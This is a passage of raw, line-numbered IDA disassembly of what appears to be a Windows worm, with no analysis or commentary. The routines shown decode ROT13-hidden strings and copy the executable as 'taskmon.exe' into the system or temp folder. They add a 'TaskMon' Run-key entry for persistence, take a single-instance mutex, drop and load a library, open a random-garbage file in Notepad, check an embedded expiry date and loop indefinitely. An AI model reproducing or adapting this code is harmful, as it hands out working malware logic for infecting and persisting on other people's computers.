  1383.         xor    edi, edi
  1384.         pop    ecx
  1385.         mov    [esi+10Ch], edi
  1386.         mov    [ebp+arg_0], edi
  1387.  
  1388. loc_4A3992:                ; CODE XREF: sub_4A3962+D6j
  1389.         cmp    [ebp+arg_0], edi
  1390.         lea    eax, [ebp+FileName]
  1391.         jnz    short loc_4A39AB
  1392.         push    118h        ; uSize
  1393.         push    eax        ; lpBuffer
  1394.         call    ds:GetSystemDirectoryA
  1395.         jmp    short loc_4A39B7
  1396. ; ───────────────────────────────────────────────────────────────────────────
  1397.  
  1398. loc_4A39AB:                ; CODE XREF: sub_4A3962+39j
  1399.         push    eax        ; lpBuffer
  1400.         push    118h        ; nBufferLength
  1401.         call    ds:GetTempPathA
  1402.  
  1403. loc_4A39B7:                ; CODE XREF: sub_4A3962+47j
  1404.         cmp    [ebp+FileName],    0
  1405.         jz    short loc_4A3A31
  1406.         lea    eax, [ebp+FileName]
  1407.         push    eax        ; lpString
  1408.         call    ds:lstrlenA
  1409.         lea    ecx, [ebp+FileName]
  1410.         dec    ecx
  1411.         cmp    byte ptr [eax+ecx], 5Ch
  1412.         jz    short loc_4A39E8
  1413.         lea    eax, [ebp+FileName]
  1414.         push    offset String2    ; lpString2
  1415.         push    eax        ; lpString1
  1416.         call    ebx ; lstrcatA
  1417.  
  1418. loc_4A39E8:                ; CODE XREF: sub_4A3962+76j
  1419.         lea    eax, [ebp+String2]
  1420.         push    eax        ; lpString2
  1421.         lea    eax, [ebp+FileName]
  1422.         push    eax        ; lpString1
  1423.         call    ebx ; lstrcatA
  1424.         push    edi        ; hTemplateFile
  1425.         push    80h        ; dwFlagsAndAttributes
  1426.         push    2        ; dwCreationDisposition
  1427.         push    edi        ; lpSecurityAttributes
  1428.         push    3        ; dwShareMode
  1429.         lea    eax, [ebp+FileName]
  1430.         push    40000000h    ; dwDesiredAccess
  1431.         push    eax        ; lpFileName
  1432.         call    ds:CreateFileA
  1433.         mov    edi, eax
  1434.         test    edi, edi
  1435.         jz    short loc_4A3A1D
  1436.         cmp    edi, 0FFFFFFFFh
  1437.         jnz    short loc_4A3A40
  1438.  
  1439. loc_4A3A1D:                ; CODE XREF: sub_4A3962+B4j
  1440.         lea    eax, [ebp+FileName]
  1441.         push    eax        ; lpFileName
  1442.         call    ds:GetFileAttributesA
  1443.         cmp    eax, 0FFFFFFFFh
  1444.         jnz    short loc_4A3A66
  1445.         xor    edi, edi
  1446.  
  1447. loc_4A3A31:                ; CODE XREF: sub_4A3962+5Cj
  1448.         inc    [ebp+arg_0]
  1449.         cmp    [ebp+arg_0], 2
  1450.         jl    loc_4A3992
  1451.         jmp    short loc_4A3A81
  1452. ; ───────────────────────────────────────────────────────────────────────────
  1453.  
  1454. loc_4A3A40:                ; CODE XREF: sub_4A3962+B9j
  1455.         push    edi        ; hFile
  1456.         push    1000h        ; int
  1457.         push    offset dword_4A1400 ; int
  1458.         call    sub_4A38E0
  1459.         add    esp, 0Ch
  1460.         push    edi        ; hObject
  1461.         call    ds:CloseHandle
  1462.         mov    dword ptr [esi+10Ch], 1
  1463.         jmp    short loc_4A3A70
  1464. ; ───────────────────────────────────────────────────────────────────────────
  1465.  
  1466. loc_4A3A66:                ; CODE XREF: sub_4A3962+CBj
  1467.         mov    dword ptr [esi+10Ch], 2
  1468.  
  1469. loc_4A3A70:                ; CODE XREF: sub_4A3962+102j
  1470.         lea    eax, [ebp+FileName]
  1471.         push    eax        ; lpString2
  1472.         lea    eax, [esi+8]
  1473.         push    eax        ; lpString1
  1474.         call    ds:lstrcpyA
  1475.  
  1476. loc_4A3A81:                ; CODE XREF: sub_4A3962+DCj
  1477.         cmp    dword ptr [esi+10Ch], 1
  1478.         jnz    short loc_4A3A9E
  1479.         lea    eax, [esi+8]
  1480.         push    eax        ; lpLibFileName
  1481.         call    ds:LoadLibraryA
  1482.         mov    dword ptr [esi+10Ch], 2
  1483.  
  1484. loc_4A3A9E:                ; CODE XREF: sub_4A3962+126j
  1485.         pop    edi
  1486.         pop    esi
  1487.         pop    ebx
  1488.         leave
  1489.         retn
  1490. sub_4A3962    endp
  1491.  
  1492.  
  1493. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  1494.  
  1495.  
  1496. sub_4A3AA3    proc near        ; CODE XREF: main+14p
  1497.  
  1498. var_74        = byte ptr -74h
  1499.  
  1500.         push    ebp
  1501.         lea    ebp, [esp+var_74]
  1502.         sub    esp, 88h
  1503.         push    ebx
  1504.         push    esi
  1505.         push    edi
  1506.         lea    eax, [ebp-14h]
  1507.         push    offset aFbsgjnerZvpebf ; "Fbsgjner\\Zvpebfbsg\\Jvaqbjf\\PheeragIrefv"...
  1508.         push    eax
  1509.         call    sub_4A465E
  1510.         mov    edi, [ebp+7Ch]
  1511.         pop    ecx
  1512.         xor    ebx, ebx
  1513.         pop    ecx
  1514.         mov    [edi], ebx
  1515.         mov    [ebp+7Fh], bl
  1516.         mov    esi, 80000002h
  1517.  
  1518. loc_4A3AD0:                ; CODE XREF: sub_4A3AA3+56j
  1519.         lea    eax, [ebp+70h]
  1520.         push    eax        ; phkResult
  1521.         push    20019h        ; samDesired
  1522.         lea    eax, [ebp-14h]
  1523.         push    ebx        ; ulOptions
  1524.         push    eax        ; lpSubKey
  1525.         mov    al, [ebp+7Fh]
  1526.         neg    al
  1527.         sbb    eax, eax
  1528.         add    eax, esi
  1529.         push    eax        ; hKey
  1530.         call    ds:RegOpenKeyExA
  1531.         test    eax, eax
  1532.         jz    short loc_4A3B47
  1533.         inc    byte ptr [ebp+7Fh]
  1534.         cmp    byte ptr [ebp+7Fh], 2
  1535.         jl    short loc_4A3AD0
  1536.         mov    dword ptr [edi], 1
  1537.         mov    [ebp+7Fh], bl
  1538.  
  1539. loc_4A3B04:                ; CODE XREF: sub_4A3AA3+9Aj
  1540.         lea    eax, [ebp+6Ch]
  1541.         push    eax        ; lpdwDisposition
  1542.         lea    eax, [ebp+70h]
  1543.         push    eax        ; phkResult
  1544.         push    ebx        ; lpSecurityAttributes
  1545.         push    20006h        ; samDesired
  1546.         push    ebx        ; dwOptions
  1547.         push    ebx        ; lpClass
  1548.         lea    eax, [ebp-14h]
  1549.         push    ebx        ; Reserved
  1550.         push    eax        ; lpSubKey
  1551.         mov    al, [ebp+7Fh]
  1552.         neg    al
  1553.         sbb    eax, eax
  1554.         add    eax, esi
  1555.         push    eax        ; hKey
  1556.         call    ds:RegCreateKeyExA
  1557.         test    eax, eax
  1558.         jnz    short loc_4A3B36
  1559.         push    dword ptr [ebp+70h]
  1560.         call    ds:RegCloseKey
  1561.  
  1562. loc_4A3B36:                ; CODE XREF: sub_4A3AA3+88j
  1563.         inc    byte ptr [ebp+7Fh]
  1564.         cmp    byte ptr [ebp+7Fh], 2
  1565.         jl    short loc_4A3B04
  1566.  
  1567. loc_4A3B3F:                ; CODE XREF: sub_4A3AA3+ADj
  1568.         pop    edi
  1569.         pop    esi
  1570.         pop    ebx
  1571.         add    ebp, 74h
  1572.         leave
  1573.         retn
  1574. ; ───────────────────────────────────────────────────────────────────────────
  1575.  
  1576. loc_4A3B47:                ; CODE XREF: sub_4A3AA3+4Dj
  1577.         push    dword ptr [ebp+70h]
  1578.         call    ds:RegCloseKey
  1579.         jmp    short loc_4A3B3F
  1580. sub_4A3AA3    endp
  1581.  
  1582.  
  1583. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  1584.  
  1585. ; Attributes: bp-based frame
  1586.  
  1587. sub_4A3B52    proc near        ; CODE XREF: main+27p
  1588.  
  1589. Name        = byte ptr -40h
  1590.  
  1591.         push    ebp
  1592.         mov    ebp, esp
  1593.         sub    esp, 40h
  1594.         lea    eax, [ebp+Name]
  1595.         push    offset aFjrofvcpfzgkf0 ; "FjroFvcpFzgkF0"
  1596.         push    eax
  1597.         call    sub_4A465E
  1598.         pop    ecx
  1599.         lea    eax, [ebp+Name]
  1600.         pop    ecx
  1601.         push    eax        ; lpName
  1602.         push    1        ; bInitialOwner
  1603.         push    0        ; lpMutexAttributes
  1604.         call    ds:CreateMutexA
  1605.         call    ds:GetLastError
  1606.         sub    eax, 0B7h
  1607.         neg    eax
  1608.         sbb    eax, eax
  1609.         inc    eax
  1610.         leave
  1611.         retn
  1612. sub_4A3B52    endp
  1613.  
  1614.  
  1615. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  1616.  
  1617. ; Attributes: bp-based frame
  1618.  
  1619. sub_4A3B88    proc near        ; CODE XREF: main+57p
  1620.  
  1621. ExistingFileName= byte ptr -234h
  1622. String2        = byte ptr -130h
  1623. var_18        = byte ptr -18h
  1624. lpString1    = dword    ptr -4
  1625. arg_0        = dword    ptr  8
  1626.  
  1627.         push    ebp
  1628.         mov    ebp, esp
  1629.         sub    esp, 234h
  1630.         push    ebx
  1631.         push    esi
  1632.         push    edi
  1633.         lea    eax, [ebp+var_18]
  1634.         push    offset aGnfxzba_rkr ; "gnfxzba.rkr"
  1635.         push    eax
  1636.         call    sub_4A465E
  1637.         pop    ecx
  1638.         lea    eax, [ebp+ExistingFileName]
  1639.         pop    ecx
  1640.         xor    ebx, ebx
  1641.         push    104h        ; nSize
  1642.         push    eax        ; lpFilename
  1643.         push    ebx        ; hModule
  1644.         call    ds:GetModuleFileNameA
  1645.         mov    eax, [ebp+arg_0]
  1646.         mov    edi, ds:lstrcpyA
  1647.         lea    ecx, [ebp+ExistingFileName]
  1648.         add    eax, 110h
  1649.         push    ecx        ; lpString2
  1650.         push    eax        ; lpString1
  1651.         mov    [ebp+lpString1], eax
  1652.         call    edi ; lstrcpyA
  1653.         mov    esi, ds:lstrcatA
  1654.         mov    [ebp+arg_0], ebx
  1655.  
  1656. loc_4A3BDD:                ; CODE XREF: sub_4A3B88+136j
  1657.         cmp    [ebp+arg_0], ebx
  1658.         lea    eax, [ebp+String2]
  1659.         jnz    short loc_4A3BF6
  1660.         push    118h        ; uSize
  1661.         push    eax        ; lpBuffer
  1662.         call    ds:GetSystemDirectoryA
  1663.         jmp    short loc_4A3C02
  1664. ; ───────────────────────────────────────────────────────────────────────────
  1665.  
  1666. loc_4A3BF6:                ; CODE XREF: sub_4A3B88+5Ej
  1667.         push    eax        ; lpBuffer
  1668.         push    118h        ; nBufferLength
  1669.         call    ds:GetTempPathA
  1670.  
  1671. loc_4A3C02:                ; CODE XREF: sub_4A3B88+6Cj
  1672.         cmp    [ebp+String2], bl
  1673.         jz    loc_4A3CB7
  1674.         lea    eax, [ebp+String2]
  1675.         push    eax        ; lpString
  1676.         call    ds:lstrlenA
  1677.         lea    ecx, [ebp+String2]
  1678.         dec    ecx
  1679.         cmp    byte ptr [eax+ecx], 5Ch
  1680.         jz    short loc_4A3C36
  1681.         lea    eax, [ebp+String2]
  1682.         push    offset String2    ; lpString2
  1683.         push    eax        ; lpString1
  1684.         call    esi ; lstrcatA
  1685.  
  1686. loc_4A3C36:                ; CODE XREF: sub_4A3B88+9Ej
  1687.         lea    eax, [ebp+var_18]
  1688.         push    eax        ; lpString2
  1689.         lea    eax, [ebp+String2]
  1690.         push    eax        ; lpString1
  1691.         call    esi ; lstrcatA
  1692.         lea    eax, [ebp+String2]
  1693.         push    20h        ; dwFileAttributes
  1694.         push    eax        ; lpFileName
  1695.         call    ds:SetFileAttributesA
  1696.         push    ebx        ; hTemplateFile
  1697.         push    80h        ; dwFlagsAndAttributes
  1698.         push    2        ; dwCreationDisposition
  1699.         push    ebx        ; lpSecurityAttributes
  1700.         push    3        ; dwShareMode
  1701.         lea    eax, [ebp+String2]
  1702.         push    40000000h    ; dwDesiredAccess
  1703.         push    eax        ; lpFileName
  1704.         call    ds:CreateFileA
  1705.         cmp    eax, ebx
  1706.         jz    short loc_4A3CA5
  1707.         cmp    eax, 0FFFFFFFFh
  1708.         jz    short loc_4A3CA5
  1709.         push    eax        ; hObject
  1710.         call    ds:CloseHandle
  1711.         lea    eax, [ebp+String2]
  1712.         push    eax        ; lpFileName
  1713.         call    ds:DeleteFileA
  1714.         lea    eax, [ebp+String2]
  1715.         push    ebx        ; bFailIfExists
  1716.         push    eax        ; lpNewFileName
  1717.         lea    eax, [ebp+ExistingFileName]
  1718.         push    eax        ; lpExistingFileName
  1719.         call    ds:CopyFileA
  1720.         test    eax, eax
  1721.         jmp    short loc_4A3CB5
  1722. ; ───────────────────────────────────────────────────────────────────────────
  1723.  
  1724. loc_4A3CA5:                ; CODE XREF: sub_4A3B88+E9j
  1725.                     ; sub_4A3B88+EEj
  1726.         lea    eax, [ebp+String2]
  1727.         push    eax        ; lpFileName
  1728.         call    ds:GetFileAttributesA
  1729.         cmp    eax, 0FFFFFFFFh
  1730.  
  1731. loc_4A3CB5:                ; CODE XREF: sub_4A3B88+11Bj
  1732.         jnz    short loc_4A3CC6
  1733.  
  1734. loc_4A3CB7:                ; CODE XREF: sub_4A3B88+80j
  1735.         inc    [ebp+arg_0]
  1736.         cmp    [ebp+arg_0], 2
  1737.         jl    loc_4A3BDD
  1738.         jmp    short loc_4A3CD2
  1739. ; ───────────────────────────────────────────────────────────────────────────
  1740.  
  1741. loc_4A3CC6:                ; CODE XREF: sub_4A3B88+12Dj
  1742.         lea    eax, [ebp+String2]
  1743.         push    eax        ; lpString2
  1744.         push    [ebp+lpString1]    ; lpString1
  1745.         call    edi ; lstrcpyA
  1746.  
  1747. loc_4A3CD2:                ; CODE XREF: sub_4A3B88+13Cj
  1748.         pop    edi
  1749.         pop    esi
  1750.         pop    ebx
  1751.         leave
  1752.         retn
  1753. sub_4A3B88    endp
  1754.  
  1755.  
  1756. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  1757.  
  1758.  
  1759. sub_4A3CD7    proc near        ; CODE XREF: main+5Dp
  1760.  
  1761. var_74        = byte ptr -74h
  1762.  
  1763.         push    ebp
  1764.         lea    ebp, [esp+var_74]
  1765.         sub    esp, 0A4h
  1766.         push    esi
  1767.         push    edi
  1768.         lea    eax, [ebp-30h]
  1769.         push    offset aFbsgjnerZvpe_0 ; "Fbsgjner\\Zvpebfbsg\\Jvaqbjf\\PheeragIrefv"...
  1770.         push    eax
  1771.         call    sub_4A465E
  1772.         lea    eax, [ebp+50h]
  1773.         push    offset aGnfxzba    ; "GnfxZba"
  1774.         push    eax
  1775.         call    sub_4A465E
  1776.         mov    esi, ds:RegOpenKeyExA
  1777.         add    esp, 10h
  1778.         lea    eax, [ebp+70h]
  1779.         mov    edi, 20006h
  1780.         push    eax        ; phkResult
  1781.         push    edi        ; samDesired
  1782.         lea    eax, [ebp-30h]
  1783.         push    0        ; ulOptions
  1784.         push    eax        ; lpSubKey
  1785.         push    80000002h    ; hKey
  1786.         call    esi ; RegOpenKeyExA
  1787.         test    eax, eax
  1788.         jz    short loc_4A3D3A
  1789.         lea    eax, [ebp+70h]
  1790.         push    eax        ; phkResult
  1791.         push    edi        ; samDesired
  1792.         lea    eax, [ebp-30h]
  1793.         push    0        ; ulOptions
  1794.         push    eax        ; lpSubKey
  1795.         push    80000001h    ; hKey
  1796.         call    esi ; RegOpenKeyExA
  1797.         test    eax, eax
  1798.         jnz    short loc_4A3D67
  1799.  
  1800. loc_4A3D3A:                ; CODE XREF: sub_4A3CD7+4Bj
  1801.         mov    esi, [ebp+7Ch]
  1802.         add    esi, 110h
  1803.         push    esi        ; lpString
  1804.         call    ds:lstrlenA
  1805.         inc    eax
  1806.         push    eax        ; cbData
  1807.         push    esi        ; lpData
  1808.         push    1        ; dwType
  1809.         lea    eax, [ebp+50h]
  1810.         push    0        ; Reserved
  1811.         push    eax        ; lpValueName
  1812.         push    dword ptr [ebp+70h] ; hKey
  1813.         call    ds:RegSetValueExA
  1814.         push    dword ptr [ebp+70h]
  1815.         call    ds:RegCloseKey
  1816.  
  1817. loc_4A3D67:                ; CODE XREF: sub_4A3CD7+61j
  1818.         pop    edi
  1819.         pop    esi
  1820.         add    ebp, 74h
  1821.         leave
  1822.         retn
  1823. sub_4A3CD7    endp
  1824.  
  1825.  
  1826. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  1827.  
  1828. ; Attributes: bp-based frame
  1829.  
  1830. sub_4A3D6E    proc near        ; CODE XREF: main+4Bp
  1831.  
  1832. SystemTimeAsFileTime= _FILETIME    ptr -10h
  1833. FileTime    = _FILETIME ptr    -8
  1834. arg_0        = dword    ptr  8
  1835.  
  1836.         push    ebp
  1837.         mov    ebp, esp
  1838.         sub    esp, 10h
  1839.         lea    eax, [ebp+SystemTimeAsFileTime]
  1840.         push    eax        ; lpSystemTimeAsFileTime
  1841.         call    ds:GetSystemTimeAsFileTime
  1842.         lea    eax, [ebp+FileTime]
  1843.         push    eax        ; lpFileTime
  1844.         mov    eax, [ebp+arg_0]
  1845.         add    eax, 224h
  1846.         push    eax        ; lpSystemTime
  1847.         call    ds:SystemTimeToFileTime
  1848.         mov    eax, [ebp+SystemTimeAsFileTime.dwHighDateTime]
  1849.         cmp    eax, [ebp+FileTime.dwHighDateTime]
  1850.         jbe    short loc_4A3D9E
  1851.         xor    eax, eax
  1852.         inc    eax
  1853.         leave
  1854.         retn
  1855. ; ───────────────────────────────────────────────────────────────────────────
  1856.  
  1857. loc_4A3D9E:                ; CODE XREF: sub_4A3D6E+29j
  1858.         jnb    short loc_4A3DA4
  1859.         xor    eax, eax
  1860.         leave
  1861.         retn
  1862. ; ───────────────────────────────────────────────────────────────────────────
  1863.  
  1864. loc_4A3DA4:                ; CODE XREF: sub_4A3D6E+30j
  1865.         mov    eax, [ebp+FileTime.dwLowDateTime]
  1866.         cmp    eax, [ebp+SystemTimeAsFileTime.dwLowDateTime]
  1867.         sbb    eax, eax
  1868.         neg    eax
  1869.         leave
  1870.         retn
  1871. sub_4A3D6E    endp
  1872.  
  1873.  
  1874. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  1875.  
  1876. ; Attributes: bp-based frame
  1877.  
  1878. sub_4A3DB0    proc near        ; CODE XREF: main+63p
  1879.  
  1880. FileTime    = _FILETIME ptr    -10h
  1881. SystemTimeAsFileTime= _FILETIME    ptr -8
  1882. arg_0        = dword    ptr  8
  1883.  
  1884.         push    ebp
  1885.         mov    ebp, esp
  1886.         sub    esp, 10h
  1887.         lea    eax, [ebp+SystemTimeAsFileTime]
  1888.         push    eax        ; lpSystemTimeAsFileTime
  1889.         call    ds:GetSystemTimeAsFileTime
  1890.         lea    eax, [ebp+FileTime]
  1891.         push    eax        ; lpFileTime
  1892.         mov    eax, [ebp+arg_0]
  1893.         add    eax, 214h
  1894.         push    eax        ; lpSystemTime
  1895.         call    ds:SystemTimeToFileTime
  1896.         mov    eax, [ebp+SystemTimeAsFileTime.dwHighDateTime]
  1897.         cmp    eax, [ebp+FileTime.dwHighDateTime]
  1898.         jb    short locret_4A3DF5
  1899.         mov    eax, [ebp+SystemTimeAsFileTime.dwLowDateTime]
  1900.         cmp    eax, [ebp+FileTime.dwLowDateTime]
  1901.         jb    short locret_4A3DF5
  1902.  
  1903. loc_4A3DE3:                ; CODE XREF: sub_4A3DB0+43j
  1904.         call    sub_4A6C3B
  1905.         push    400h        ; dwMilliseconds
  1906.         call    ds:Sleep
  1907.         jmp    short loc_4A3DE3
  1908. ; ───────────────────────────────────────────────────────────────────────────
  1909.  
  1910. locret_4A3DF5:                ; CODE XREF: sub_4A3DB0+29j
  1911.                     ; sub_4A3DB0+31j
  1912.         leave
  1913.         retn
  1914. sub_4A3DB0    endp
  1915.  
  1916.  
  1917. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  1918.  
  1919. ; Attributes: bp-based frame
  1920.  
  1921. ; DWORD    __stdcall StartAddress(LPVOID)
  1922. StartAddress    proc near        ; DATA XREF: main+3Bo
  1923.  
  1924. CommandLine    = byte ptr -464h
  1925. Buffer        = byte ptr -364h
  1926. FileName    = byte ptr -164h
  1927. StartupInfo    = _STARTUPINFOA    ptr -60h
  1928. hHandle        = dword    ptr -1Ch
  1929. NumberOfBytesWritten= dword ptr    -0Ch
  1930. var_8        = dword    ptr -8
  1931. hObject        = dword    ptr -4
  1932.  
  1933.         push    ebp
  1934.         mov    ebp, esp
  1935.         sub    esp, 464h
  1936.         push    ebx
  1937.         push    esi
  1938.         lea    eax, [ebp+FileName]
  1939.         push    edi
  1940.         xor    ebx, ebx
  1941.         push    eax        ; lpBuffer
  1942.         push    104h        ; nBufferLength
  1943.         mov    [ebp+FileName],    bl
  1944.         call    ds:GetTempPathA
  1945.         cmp    [ebp+FileName],    bl
  1946.         jz    loc_4A3FA9
  1947.         lea    eax, [ebp+FileName]
  1948.         push    eax        ; lpString
  1949.         call    ds:lstrlenA
  1950.         mov    esi, ds:lstrcatA
  1951.         lea    ecx, [ebp+FileName]
  1952.         dec    ecx
  1953.         cmp    byte ptr [eax+ecx], 5Ch
  1954.         jz    short loc_4A3E57
  1955.         lea    eax, [ebp+FileName]
  1956.         push    offset String2    ; lpString2
  1957.         push    eax        ; lpString1
  1958.         call    esi ; lstrcatA
  1959.  
  1960. loc_4A3E57:                ; CODE XREF: StartAddress+50j
  1961.         lea    eax, [ebp+FileName]
  1962.         push    offset aMessage    ; lpString2
  1963.         push    eax        ; lpString1
  1964.         call    esi ; lstrcatA
  1965.         push    ebx        ; hTemplateFile
  1966.         push    80h        ; dwFlagsAndAttributes
  1967.         push    2        ; dwCreationDisposition
  1968.         push    ebx        ; lpSecurityAttributes
  1969.         push    3        ; dwShareMode
  1970.         lea    eax, [ebp+FileName]
  1971.         push    0C0000000h    ; dwDesiredAccess
  1972.         push    eax        ; lpFileName
  1973.         call    ds:CreateFileA
  1974.         cmp    eax, ebx
  1975.         mov    [ebp+hObject], eax
  1976.         jz    loc_4A3F94
  1977.         cmp    eax, 0FFFFFFFFh
  1978.         jz    loc_4A3F94
  1979.         mov    esi, ds:WriteFile
  1980.         xor    edi, edi
  1981.         mov    [ebp+var_8], 1000h
  1982.  
  1983. loc_4A3EA5:                ; CODE XREF: StartAddress+111j
  1984.         cmp    edi, 1FCh
  1985.         jb    short loc_4A3EC5
  1986.         lea    eax, [ebp+NumberOfBytesWritten]
  1987.         push    ebx        ; lpOverlapped
  1988.         push    eax        ; lpNumberOfBytesWritten
  1989.         lea    eax, [ebp+Buffer]
  1990.         push    200h        ; nNumberOfBytesToWrite
  1991.         push    eax        ; lpBuffer
  1992.         push    [ebp+hObject]    ; hFile
  1993.         call    esi ; WriteFile
  1994.         xor    edi, edi
  1995.  
  1996. loc_4A3EC5:                ; CODE XREF: StartAddress+B4j
  1997.         call    sub_4A4221
  1998.         movzx    eax, ax
  1999.         push    4Ch
  2000.         cdq
  2001.         pop    ecx
  2002.         idiv    ecx
  2003.         test    edx, edx
  2004.         jnz    short loc_4A3EEA
  2005.         mov    [ebp+edi+Buffer], 0Dh
  2006.         inc    edi
  2007.         mov    [ebp+edi+Buffer], 0Ah
  2008.         jmp    short loc_4A3F04
  2009. ; ───────────────────────────────────────────────────────────────────────────
  2010.  
  2011. loc_4A3EEA:                ; CODE XREF: StartAddress+DEj
  2012.         call    sub_4A4221
  2013.         movzx    eax, ax
  2014.         cdq
  2015.         mov    ecx, 0EFh
  2016.         idiv    ecx
  2017.         add    dl, 10h
  2018.         mov    [ebp+edi+Buffer], dl
  2019.  
  2020. loc_4A3F04:                ; CODE XREF: StartAddress+F1j
  2021.         inc    edi
  2022.         dec    [ebp+var_8]
  2023.         jnz    short loc_4A3EA5
  2024.         cmp    edi, ebx
  2025.         jz    short loc_4A3F20
  2026.         lea    eax, [ebp+NumberOfBytesWritten]
  2027.         push    ebx        ; lpOverlapped
  2028.         push    eax        ; lpNumberOfBytesWritten
  2029.         lea    eax, [ebp+Buffer]
  2030.         push    edi        ; nNumberOfBytesToWrite
  2031.         push    eax        ; lpBuffer
  2032.         push    [ebp+hObject]    ; hFile
  2033.         call    esi ; WriteFile
  2034.  
  2035. loc_4A3F20:                ; CODE XREF: StartAddress+115j
  2036.         push    [ebp+hObject]    ; hObject
  2037.         mov    esi, ds:CloseHandle
  2038.         call    esi ; CloseHandle
  2039.         lea    eax, [ebp+FileName]
  2040.         push    eax
  2041.         lea    eax, [ebp+CommandLine]
  2042.         push    offset aNotepadS ; "notepad %s"
  2043.         push    eax
  2044.         call    ds:wsprintfA
  2045.         push    44h
  2046.         lea    eax, [ebp+StartupInfo]
  2047.         pop    edi
  2048.         push    edi
  2049.         push    ebx
  2050.         push    eax
  2051.         call    memset
  2052.         add    esp, 18h
  2053.         lea    ecx, [ebp+hHandle]
  2054.         xor    eax, eax
  2055.         mov    [ebp+StartupInfo.cb], edi
  2056.         push    ecx        ; lpProcessInformation
  2057.         lea    ecx, [ebp+StartupInfo]
  2058.         push    ecx        ; lpStartupInfo
  2059.         push    ebx        ; lpCurrentDirectory
  2060.         inc    eax
  2061.         push    ebx        ; lpEnvironment
  2062.         push    ebx        ; dwCreationFlags
  2063.         mov    [ebp+StartupInfo.dwFlags], eax
  2064.         push    eax        ; bInheritHandles
  2065.         push    ebx        ; lpThreadAttributes
  2066.         lea    eax, [ebp+CommandLine]
  2067.         push    ebx        ; lpProcessAttributes
  2068.         push    eax        ; lpCommandLine
  2069.         push    ebx        ; lpApplicationName
  2070.         mov    [ebp+StartupInfo.wShowWindow], 5
  2071.         call    ds:CreateProcessA
  2072.         test    eax, eax
  2073.         jz    short loc_4A3F94
  2074.         push    0FFFFFFFFh    ; dwMilliseconds
  2075.         push    [ebp+hHandle]    ; hHandle
  2076.         call    ds:WaitForSingleObject
  2077.         push    [ebp+hHandle]    ; hObject
  2078.         call    esi ; CloseHandle
  2079.  
  2080. loc_4A3F94:                ; CODE XREF: StartAddress+90j
  2081.                     ; StartAddress+99j ...
  2082.         cmp    [ebp+FileName],    bl
  2083.         jz    short loc_4A3FA9
  2084.         lea    eax, [ebp+FileName]
  2085.         push    eax        ; lpFileName
  2086.         call    ds:DeleteFileA
  2087.  
  2088. loc_4A3FA9:                ; CODE XREF: StartAddress+2Cj
  2089.                     ; StartAddress+1A3j
  2090.         push    ebx        ; dwExitCode
  2091.         call    ds:ExitThread
  2092.         int    3        ; Trap to Debugger
  2093. StartAddress    endp
  2094.  
  2095.  
  2096. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  2097.  
  2098. ; Attributes: bp-based frame
  2099.  
  2100. main        proc near        ; CODE XREF: start+51p
  2101.  
  2102. ThreadId    = dword    ptr -4
  2103. arg_0        = dword    ptr  8
  2104.  
  2105.         push    ebp
  2106.         mov    ebp, esp
  2107.         push    ecx
  2108.         push    ebx
  2109.         push    esi
  2110.         push    edi
  2111.         call    ds:GetTickCount
  2112.         mov    esi, [ebp+arg_0]
  2113.         push    esi
  2114.         mov    [esi+4], eax
  2115.         call    sub_4A3AA3
  2116.         mov    ebx, ds:CreateThread
  2117.         xor    edi, edi
  2118.         cmp    [esi], edi
  2119.         pop    ecx
  2120.         jnz    short loc_4A3FE6
  2121.         push    esi
  2122.         call    sub_4A3B52
  2123.         test    eax, eax
  2124.         pop    ecx
  2125.         jnz    short loc_4A404C
  2126.         cmp    [esi], edi
  2127.         jz    short loc_4A3FF5
  2128.  
  2129. loc_4A3FE6:                ; CODE XREF: main+24j
  2130.         lea    eax, [ebp+ThreadId]
  2131.         push    eax        ; lpThreadId
  2132.         push    edi        ; dwCreationFlags
  2133.         push    edi        ; lpParameter
  2134.         push    offset StartAddress ; lpStartAddress
  2135.         push    edi        ; dwStackSize
  2136.         push    edi        ; lpThreadAttributes
  2137.         call    ebx ; CreateThread
  2138.  
  2139. loc_4A3FF5:                ; CODE XREF: main+33j
  2140.         push    esi
  2141.         call    sub_4A3962
  2142.         push    esi
  2143.         call    sub_4A3D6E
  2144.         pop    ecx
  2145.         test    eax, eax
  2146.         pop    ecx
  2147.         jnz    short loc_4A404C
  2148.         push    esi
  2149.         call    sub_4A3B88
  2150.         push    esi
  2151.         call    sub_4A3CD7
  2152.         push    esi
  2153.         call    sub_4A3DB0
  2154.         add    esp, 0Ch
  2155.         call    sub_4A48B6
  2156.         call    sub_4A5CC7
  2157.         lea    eax, [ebp+ThreadId]
  2158.         push    eax        ; lpThreadId
  2159.         push    edi        ; dwCreationFlags
  2160.         push    edi        ; lpParameter
  2161.         push    offset dword_4A5CD9 ; lpStartAddress
  2162.         push    edi        ; dwStackSize
  2163.         push    edi        ; lpThreadAttributes
  2164.         call    ebx ; CreateThread
  2165.         call    sub_4A6132
  2166.  
  2167. loc_4A403A:                ; CODE XREF: main+99j
  2168.         call    sub_4A6645
  2169.         push    400h        ; dwMilliseconds
  2170.         call    ds:Sleep
  2171.         jmp    short loc_4A403A
  2172. ; ───────────────────────────────────────────────────────────────────────────
  2173.  
  2174. loc_4A404C:                ; CODE XREF: main+2Fj main+54j
  2175.         pop    edi
  2176.         pop    esi
  2177.         pop    ebx
  2178.         leave
  2179.         retn
  2180. main        endp
  2181.  
  2182.  
  2183. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  2184.  
  2185. ; Attributes: bp-based frame
  2186.  
  2187.         public start
  2188. start        proc near
  2189.  
  2190. var_3C4        = byte ptr -3C4h
  2191. var_234        = byte ptr -234h
  2192. var_20        = byte ptr -20h
  2193. var_10        = byte ptr -10h
  2194.  
  2195.         push    ebp
  2196.         mov    ebp, esp
  2197.         sub    esp, 3C4h
  2198.         push    esi
  2199.         push    edi
  2200.         call    sub_4A4215
  2201.         lea    eax, [ebp+var_3C4]
  2202.         push    eax
  2203.         push    2
  2204.         call    ds:WS2_32_115
  2205.         push    234h
  2206.         lea    eax, [ebp+var_234]
  2207.         push    0
  2208.         push    eax
  2209.         call    memset
  2210.         mov    esi, offset dword_4A2428
  2211.         lea    edi, [ebp+var_10]
  2212.         movsd
  2213.         movsd
  2214.         movsd
  2215.         movsd
